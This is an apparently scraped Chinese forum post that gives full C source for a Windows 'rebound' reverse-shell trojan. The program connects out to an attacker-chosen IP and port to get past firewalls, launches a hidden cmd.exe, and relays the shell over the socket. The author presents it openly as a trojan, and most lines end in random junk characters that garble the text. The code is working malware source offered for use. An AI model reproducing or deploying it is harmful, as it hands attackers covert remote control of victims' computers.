这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z}m)u
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/* ============================== j*)K>
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Rebound port in Windows NT ;;l-E>X0
By wind,2006/7 |yow(2(F@
===============================*/ 0xg6
#include e!~x-P5M`
#include }fKpih
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#pragma comment(lib,"wsock32.lib") a7Rg!%r
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void OutputShell(); cH%#qE3
SOCKET sClient; b:}+l;e52
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \a\ApD
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void main(int argc,char **argv) BPzlt
{ -%x9^oQwY
WSADATA stWsaData; 14v,z;HXj
int nRet;
=:-x;
SOCKADDR_IN stSaiClient,stSaiServer; (*2kM|
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if(argc != 3) wsNM'~(
{ Mw+8p}E
printf("Useage:\n\rRebound DestIP DestPort\n"); *6e 5T
return; .)eX(2j\
} C|A:^6d3=
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WSAStartup(MAKEWORD(2,2),&stWsaData); w oS I
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6-@n$5W0
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stSaiClient.sin_family = AF_INET; f#9\&-he0
stSaiClient.sin_port = htons(0); 5#U*vGVT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); UF00K1dbz
FWbA+{8
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _=eeZ4f
{ aGz<Yip
printf("Bind Socket Failed!\n"); J<{@D9r9<~
return; LMvsYc~]q
} yXx}'=&!0
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stSaiServer.sin_family = AF_INET; i`1QR@11
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G6b\4}E
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n3kYVAgF
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) CL$mK5u
{ tCdgtZm
printf("Connect Error!"); :8~*NSEFd
return; 3[L)q2;}$N
} "K8<X
OutputShell(); 5b9>a5j1;
} )'RLK4l
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void OutputShell() zV }-_u.
{ An e.sS
char szBuff[1024]; T?+xx^wYk
SECURITY_ATTRIBUTES stSecurityAttributes; vO)nqtw
OSVERSIONINFO stOsversionInfo; 2ajQ*aNq
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MyOdWD&7
STARTUPINFO stStartupInfo; b)A$lP%`
char *szShell; J8"Cw<=O
PROCESS_INFORMATION stProcessInformation; g[P8
unsigned long lBytesRead; J8x>vC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %HJ_0qg
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;Vad| -
stSecurityAttributes.lpSecurityDescriptor = 0; K6.*)7$#
stSecurityAttributes.bInheritHandle = TRUE; " (+>#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '~E&^K5hr
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5UwaBPj4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^L;`F
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yp=2nU"o
stStartupInfo.wShowWindow = SW_HIDE; MOFIR
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stStartupInfo.hStdInput = hReadPipe; ^6~CA
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .s_wP
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GetVersionEx(&stOsversionInfo); 5s>$
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switch(stOsversionInfo.dwPlatformId) A}b<Lg
{ otXB:a
case 1: (s,*soAN
szShell = "command.com"; nJYcC"f
break; rBP!RSl1
default: 7 3k3(rZ
szShell = "cmd.exe"; $o`N% ]
break; eD* "#O)W
} ".qh]RVjV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %cD7}o:u
1x]U&{do
send(sClient,szMsg,77,0); IiACr@[?e
while(1) "YGs<)S
{ /0 ,#c2aq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %/H
if(lBytesRead) @fp(uu
{ )jp#|#h
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6P'
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send(sClient,szBuff,lBytesRead,0); <3QE3;4
} tWi@_Rlx;
else k[N46=u
{ 8KD7t&H
lBytesRead=recv(sClient,szBuff,1024,0); +gTnq")wnI
if(lBytesRead<=0) break; c8gdY`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); //W<\
} (i7]N[
} 0 )#5_-%
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return; [t
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}